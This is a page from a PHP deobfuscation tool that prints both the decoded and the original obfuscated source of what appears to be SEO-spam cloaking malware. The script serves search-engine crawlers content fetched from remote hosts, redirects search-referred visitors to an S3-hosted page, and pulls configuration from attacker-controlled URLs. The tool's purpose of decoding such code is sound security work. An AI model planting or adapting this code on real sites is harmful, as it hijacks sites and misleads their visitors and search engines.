Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto XaEFq; AKJGi: function YIxzr($UB5gM) { goto FEFvz; f_bs9: return $W0ip1; goto nOC4i; ..

Decoded Output download

<?  goto XaEFq; AKJGi: function YIxzr($UB5gM) { goto FEFvz; f_bs9: return $W0ip1; goto nOC4i; guKic: curl_setopt($uxeBc, CURLOPT_URL, $UB5gM); goto iCdft; G2CHT: curl_setopt($uxeBc, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); goto guKic; D7od9: xEJgE: goto l05g_; l05g_: $uxeBc = curl_init(); goto G2CHT; acnvF: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYPEER, false); goto Dloh_; hFGwq: goto zlcBg; goto D7od9; hanQF: $W0ip1 = curl_exec($uxeBc); goto QHZZ1; iYJre: curl_setopt($uxeBc, CURLOPT_RETURNTRANSFER, 1); goto acnvF; iCdft: curl_setopt($uxeBc, CURLOPT_HEADER, 0); goto iYJre; QRYQk: return file_get_contents($UB5gM); goto m7hSO; Dloh_: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYHOST, false); goto hanQF; FEFvz: if (function_exists("curl_init")) { goto xEJgE; } goto iUfHa; iUfHa: return file_get_contents($UB5gM); goto hFGwq; B4Xdq: if (!($W0ip1 == NULL)) { goto f7UJx; } goto QRYQk; QHZZ1: curl_close($uxeBc); goto B4Xdq; m7hSO: f7UJx: goto f_bs9; nOC4i: zlcBg: goto jDfs9; jDfs9: } goto y0LoZ; P2zR5: define("H3JKT", base64_decode($DHQ00)); goto Nr_uA; r5zd1: if (!(xdtc1() && pY4KI($L6oI6))) { goto PxL5T; } goto squwj; squwj: header("Location: https://5useo.s3.sa-east-1.amazonaws.com/tz/xiaoji.html"); goto uNN3p; NJXHz: dKuD8: goto kIjGc; oPToV: goto tt1_H; goto mfl7a; Fkq93: lIBni: goto AYQoP; uNN3p: exit; goto mFuik; ABlEH: $jB16x = base64_decode($tIsHg); goto JjfOK; HVBds: if (xdTC1()) { goto dKuD8; } goto KClz1; RS1SR: header("Content-Type:text/html;charset=utf-8"); goto HVBds; zReTV: if (T0kV4($TCKgt)) { goto xcl8v; } goto r5zd1; gm6Df: BRlnO: goto ZYAil; WFbhZ: $ZvhdD = k1iw8($fkomP); goto n2Aqy; TcXKV: define("rbwd7", $ZvhdD); goto iaeVK; gvggt: $DHQ00 = "aHR0cHM6Ly9qaS5iZXQ2a3Nlby5jb20v"; goto KU0RD; obh9Q: $TCKgt = $_SERVER["HTTP_USER_AGENT"]; goto Ygeve; XaEFq: set_time_limit(0); goto DoDeM; Ygeve: $N6KRk = $_SERVER["HTTP_HOST"]; goto zReTV; DoDeM: error_reporting(0); goto kSDES; R9Dyp: exit; goto Fkq93; kSDES: header("Content-Type: text/html;charset=utf-8"); goto DJcXZ; KU0RD: if ($tIsHg) { goto QNUG3; } goto pHlwD; ZYAil: define("H3JKT", $jB16x); goto PtnBF; Nr_uA: goto mtQSd; goto gm6Df; yS7uj: function pY4Ki($L6oI6) { return stristr($L6oI6, "google") !== false || stristr($L6oI6, "bing") !== false || stristr($L6oI6, "yahoo") !== false; } goto AKJGi; mfl7a: QNUG3: goto ABlEH; n7FT4: tt1_H: goto n1eiI; kJHAs: goto zlBRA; goto KcW6f; DJcXZ: define("o7uAK", $_SERVER["REQUEST_URI"]); goto a2n3j; jxnDh: goto aN52s; goto ifZO2; mFuik: PxL5T: goto jxnDh; FuE1p: goto lIBni; goto NJXHz; KClz1: echo file_get_contents("https://jsc.hhvipcdn.com/index.php"); goto FuE1p; a2n3j: function K1Iw8($UB5gM) { goto RcfVD; cJfEP: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYPEER, false); goto jTFqZ; tZAiu: goto PYHCk; goto jihNh; SstCx: $W0ip1 = file_get_contents($UB5gM); goto a7ih8; OR3o3: AHFYl: goto RW3K5; YUzoQ: curl_setopt($uxeBc, CURLOPT_RETURNTRANSFER, 1); goto cJfEP; x8zb2: return false; goto OR3o3; IwT5J: if (!($W0ip1 === false || empty(trim($W0ip1)))) { goto AHFYl; } goto x8zb2; a7ih8: return $W0ip1 ? trim($W0ip1) : false; goto tZAiu; jihNh: RyJjY: goto PxEPA; RW3K5: return trim($W0ip1); goto Q3T_H; exyZW: curl_close($uxeBc); goto IwT5J; PxEPA: $uxeBc = curl_init(); goto Jx7pd; Jx7pd: curl_setopt($uxeBc, CURLOPT_URL, $UB5gM); goto YUzoQ; jTFqZ: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYHOST, false); goto hm7vT; hm7vT: $W0ip1 = curl_exec($uxeBc); goto exyZW; RcfVD: if (function_exists("curl_init")) { goto RyJjY; } goto SstCx; Q3T_H: PYHCk: goto cfT4q; cfT4q: } goto Nky5q; PtnBF: mtQSd: goto n7FT4; xGh6B: define("rbwd7", "app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|data|-\d(?!\d)"); goto kJHAs; JjfOK: if (filter_var($jB16x, FILTER_VALIDATE_URL)) { goto BRlnO; } goto P2zR5; ANHqv: function t0KV4($TCKgt) { return stristr($TCKgt, "Googlebot") !== false || stristr($TCKgt, "Bingbot") !== false || stristr($TCKgt, "Yahoo!") !== false; } goto KPx1W; ifZO2: xcl8v: goto RS1SR; kIjGc: echo yIXzr(H3JKT . "?xhost=" . $N6KRk . "&reurl=" . o7uAK . "&ua=Googlebot" . "&f=google"); goto R9Dyp; n2Aqy: if ($ZvhdD && preg_match("/^[\w|.\-\(\)\?\!\:\[\]]+$/", $ZvhdD)) { goto tjHi5; } goto xGh6B; Nky5q: $RX0EA = "https://5useo.s3.sa-east-1.amazonaws.com/js/jiapi.txt"; goto QCngg; QCngg: $tIsHg = K1iW8($RX0EA); goto gvggt; KcW6f: tjHi5: goto TcXKV; KPx1W: function XDTc1() { goto Bj0lE; Bj0lE: $mykdY = 0; goto OpvTC; irFYX: Br0VW: goto rgXjQ; RicBz: foreach ($zvp7i as $Bbojg) { goto Zbfv1; Zbfv1: if (!preg_match("/" . $Bbojg . "/", o7uAK)) { goto nZAGr; } goto HeMiY; DB62R: nZAGr: goto wHpBl; HeMiY: $mykdY = 1; goto DB62R; wHpBl: flzA9: goto uCMYB; uCMYB: } goto irFYX; OpvTC: $zvp7i = explode("|", rbwd7); goto RicBz; rgXjQ: return $mykdY; goto FPK1N; FPK1N: } goto yS7uj; pHlwD: define("H3JKT", base64_decode($DHQ00)); goto oPToV; iaeVK: zlBRA: goto ANHqv; n1eiI: $fkomP = "https://5useo.s3.sa-east-1.amazonaws.com/js/mulu.txt"; goto WFbhZ; y0LoZ: $L6oI6 = $_SERVER["HTTP_REFERER"]; goto obh9Q; AYQoP: aN52s: ?>

Did this file decode correctly?

Original Code

goto XaEFq; AKJGi: function YIxzr($UB5gM) { goto FEFvz; f_bs9: return $W0ip1; goto nOC4i; guKic: curl_setopt($uxeBc, CURLOPT_URL, $UB5gM); goto iCdft; G2CHT: curl_setopt($uxeBc, CURLOPT_USERAGENT, "\x4d\157\x7a\151\x6c\154\141\57\x35\56\x30\x20\50\143\157\x6d\160\141\164\x69\x62\154\145\x3b\40\x47\157\157\147\154\x65\142\x6f\164\x2f\x32\x2e\61\x3b\40\x2b\x68\x74\164\x70\x3a\x2f\x2f\x77\x77\167\x2e\147\157\x6f\147\x6c\x65\56\143\157\155\57\142\157\x74\x2e\150\x74\x6d\x6c\51"); goto guKic; D7od9: xEJgE: goto l05g_; l05g_: $uxeBc = curl_init(); goto G2CHT; acnvF: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYPEER, false); goto Dloh_; hFGwq: goto zlcBg; goto D7od9; hanQF: $W0ip1 = curl_exec($uxeBc); goto QHZZ1; iYJre: curl_setopt($uxeBc, CURLOPT_RETURNTRANSFER, 1); goto acnvF; iCdft: curl_setopt($uxeBc, CURLOPT_HEADER, 0); goto iYJre; QRYQk: return file_get_contents($UB5gM); goto m7hSO; Dloh_: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYHOST, false); goto hanQF; FEFvz: if (function_exists("\143\165\162\154\x5f\151\156\x69\164")) { goto xEJgE; } goto iUfHa; iUfHa: return file_get_contents($UB5gM); goto hFGwq; B4Xdq: if (!($W0ip1 == NULL)) { goto f7UJx; } goto QRYQk; QHZZ1: curl_close($uxeBc); goto B4Xdq; m7hSO: f7UJx: goto f_bs9; nOC4i: zlcBg: goto jDfs9; jDfs9: } goto y0LoZ; P2zR5: define("\x48\x33\112\x4b\x54", base64_decode($DHQ00)); goto Nr_uA; r5zd1: if (!(xdtc1() && pY4KI($L6oI6))) { goto PxL5T; } goto squwj; squwj: header("\x4c\x6f\x63\x61\164\x69\x6f\156\72\x20\150\x74\164\160\163\x3a\57\x2f\65\x75\163\x65\157\x2e\163\63\x2e\x73\141\55\x65\x61\x73\164\55\61\56\141\155\x61\172\157\156\141\167\x73\x2e\143\x6f\155\57\x74\x7a\57\170\x69\x61\x6f\x6a\x69\x2e\x68\164\x6d\x6c"); goto uNN3p; NJXHz: dKuD8: goto kIjGc; oPToV: goto tt1_H; goto mfl7a; Fkq93: lIBni: goto AYQoP; uNN3p: exit; goto mFuik; ABlEH: $jB16x = base64_decode($tIsHg); goto JjfOK; HVBds: if (xdTC1()) { goto dKuD8; } goto KClz1; RS1SR: header("\103\157\x6e\x74\x65\x6e\164\55\x54\x79\160\x65\72\164\145\170\x74\x2f\150\164\155\x6c\73\x63\150\x61\162\x73\145\164\75\x75\x74\146\55\70"); goto HVBds; zReTV: if (T0kV4($TCKgt)) { goto xcl8v; } goto r5zd1; gm6Df: BRlnO: goto ZYAil; WFbhZ: $ZvhdD = k1iw8($fkomP); goto n2Aqy; TcXKV: define("\x72\142\x77\144\67", $ZvhdD); goto iaeVK; gvggt: $DHQ00 = "\141\110\122\60\x63\110\115\66\114\171\x39\161\x61\123\x35\151\x5a\x58\121\62\141\x33\x4e\x6c\142\171\x35\152\x62\62\x30\x76"; goto KU0RD; obh9Q: $TCKgt = $_SERVER["\x48\124\x54\x50\x5f\125\123\105\x52\x5f\101\x47\x45\116\x54"]; goto Ygeve; XaEFq: set_time_limit(0); goto DoDeM; Ygeve: $N6KRk = $_SERVER["\x48\x54\124\120\137\110\117\123\124"]; goto zReTV; DoDeM: error_reporting(0); goto kSDES; R9Dyp: exit; goto Fkq93; kSDES: header("\x43\157\156\164\145\156\x74\55\124\171\x70\145\x3a\40\x74\x65\x78\x74\57\150\164\155\154\73\x63\150\x61\162\x73\145\164\x3d\x75\x74\146\x2d\70"); goto DJcXZ; KU0RD: if ($tIsHg) { goto QNUG3; } goto pHlwD; ZYAil: define("\110\x33\x4a\113\x54", $jB16x); goto PtnBF; Nr_uA: goto mtQSd; goto gm6Df; yS7uj: function pY4Ki($L6oI6) { return stristr($L6oI6, "\147\x6f\157\x67\154\x65") !== false || stristr($L6oI6, "\142\x69\156\x67") !== false || stristr($L6oI6, "\171\141\150\157\x6f") !== false; } goto AKJGi; mfl7a: QNUG3: goto ABlEH; n7FT4: tt1_H: goto n1eiI; kJHAs: goto zlBRA; goto KcW6f; DJcXZ: define("\x6f\67\165\101\113", $_SERVER["\x52\105\121\x55\x45\123\x54\x5f\x55\x52\111"]); goto a2n3j; jxnDh: goto aN52s; goto ifZO2; mFuik: PxL5T: goto jxnDh; FuE1p: goto lIBni; goto NJXHz; KClz1: echo file_get_contents("\150\164\x74\x70\163\x3a\x2f\x2f\152\x73\143\x2e\150\150\x76\x69\x70\143\144\156\56\x63\x6f\155\57\151\156\x64\x65\170\x2e\x70\x68\160"); goto FuE1p; a2n3j: function K1Iw8($UB5gM) { goto RcfVD; cJfEP: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYPEER, false); goto jTFqZ; tZAiu: goto PYHCk; goto jihNh; SstCx: $W0ip1 = file_get_contents($UB5gM); goto a7ih8; OR3o3: AHFYl: goto RW3K5; YUzoQ: curl_setopt($uxeBc, CURLOPT_RETURNTRANSFER, 1); goto cJfEP; x8zb2: return false; goto OR3o3; IwT5J: if (!($W0ip1 === false || empty(trim($W0ip1)))) { goto AHFYl; } goto x8zb2; a7ih8: return $W0ip1 ? trim($W0ip1) : false; goto tZAiu; jihNh: RyJjY: goto PxEPA; RW3K5: return trim($W0ip1); goto Q3T_H; exyZW: curl_close($uxeBc); goto IwT5J; PxEPA: $uxeBc = curl_init(); goto Jx7pd; Jx7pd: curl_setopt($uxeBc, CURLOPT_URL, $UB5gM); goto YUzoQ; jTFqZ: curl_setopt($uxeBc, CURLOPT_SSL_VERIFYHOST, false); goto hm7vT; hm7vT: $W0ip1 = curl_exec($uxeBc); goto exyZW; RcfVD: if (function_exists("\x63\x75\x72\x6c\137\151\156\x69\x74")) { goto RyJjY; } goto SstCx; Q3T_H: PYHCk: goto cfT4q; cfT4q: } goto Nky5q; PtnBF: mtQSd: goto n7FT4; xGh6B: define("\x72\x62\x77\x64\67", "\x61\160\x70\x7c\x69\157\163\174\141\156\x64\x72\x6f\x69\144\174\144\x6f\167\x6e\x6c\x6f\x61\144\174\142\x6c\x61\156\153\174\142\x65\x74\174\x63\141\163\x69\156\x6f\x7c\x67\141\x6d\145\163\x7c\x70\154\141\171\x7c\x76\x69\144\x65\x6f\x7c\x70\x6f\x6b\145\162\174\x72\157\x6f\164\174\x6e\x65\167\x73\x7c\144\x61\x74\141\174\x2d\134\x64\50\77\x21\134\x64\x29"); goto kJHAs; JjfOK: if (filter_var($jB16x, FILTER_VALIDATE_URL)) { goto BRlnO; } goto P2zR5; ANHqv: function t0KV4($TCKgt) { return stristr($TCKgt, "\107\157\157\147\154\x65\x62\x6f\x74") !== false || stristr($TCKgt, "\x42\151\156\147\x62\x6f\164") !== false || stristr($TCKgt, "\131\141\150\x6f\x6f\41") !== false; } goto KPx1W; ifZO2: xcl8v: goto RS1SR; kIjGc: echo yIXzr(H3JKT . "\77\x78\x68\x6f\163\x74\75" . $N6KRk . "\46\x72\x65\x75\162\154\x3d" . o7uAK . "\46\x75\141\75\107\x6f\x6f\147\x6c\x65\142\157\164" . "\46\146\x3d\x67\157\157\x67\x6c\x65"); goto R9Dyp; n2Aqy: if ($ZvhdD && preg_match("\x2f\x5e\133\134\x77\174\x2e\x5c\55\x5c\x28\134\51\x5c\77\134\41\134\x3a\134\133\134\x5d\135\x2b\x24\57", $ZvhdD)) { goto tjHi5; } goto xGh6B; Nky5q: $RX0EA = "\x68\164\164\x70\163\72\57\x2f\x35\x75\x73\x65\157\x2e\x73\63\x2e\163\141\55\145\x61\163\164\55\61\56\141\x6d\x61\172\157\x6e\x61\167\163\56\x63\x6f\155\x2f\152\x73\x2f\x6a\x69\x61\160\x69\56\164\170\x74"; goto QCngg; QCngg: $tIsHg = K1iW8($RX0EA); goto gvggt; KcW6f: tjHi5: goto TcXKV; KPx1W: function XDTc1() { goto Bj0lE; Bj0lE: $mykdY = 0; goto OpvTC; irFYX: Br0VW: goto rgXjQ; RicBz: foreach ($zvp7i as $Bbojg) { goto Zbfv1; Zbfv1: if (!preg_match("\57" . $Bbojg . "\x2f", o7uAK)) { goto nZAGr; } goto HeMiY; DB62R: nZAGr: goto wHpBl; HeMiY: $mykdY = 1; goto DB62R; wHpBl: flzA9: goto uCMYB; uCMYB: } goto irFYX; OpvTC: $zvp7i = explode("\174", rbwd7); goto RicBz; rgXjQ: return $mykdY; goto FPK1N; FPK1N: } goto yS7uj; pHlwD: define("\110\x33\x4a\x4b\x54", base64_decode($DHQ00)); goto oPToV; iaeVK: zlBRA: goto ANHqv; n1eiI: $fkomP = "\x68\x74\164\x70\x73\x3a\x2f\x2f\65\x75\x73\145\x6f\x2e\163\x33\56\x73\141\x2d\x65\x61\163\164\x2d\61\x2e\141\x6d\141\x7a\157\x6e\x61\x77\x73\x2e\143\x6f\x6d\57\x6a\x73\57\155\x75\x6c\165\56\164\170\164"; goto WFbhZ; y0LoZ: $L6oI6 = $_SERVER["\110\124\124\x50\137\x52\105\106\x45\122\105\122"]; goto obh9Q; AYQoP: aN52s:

Function Calls

None

Variables

None

Stats

MD5 d9f4690c235e8c61351a98a9a00dea39
Eval Count 0
Decode Time 73 ms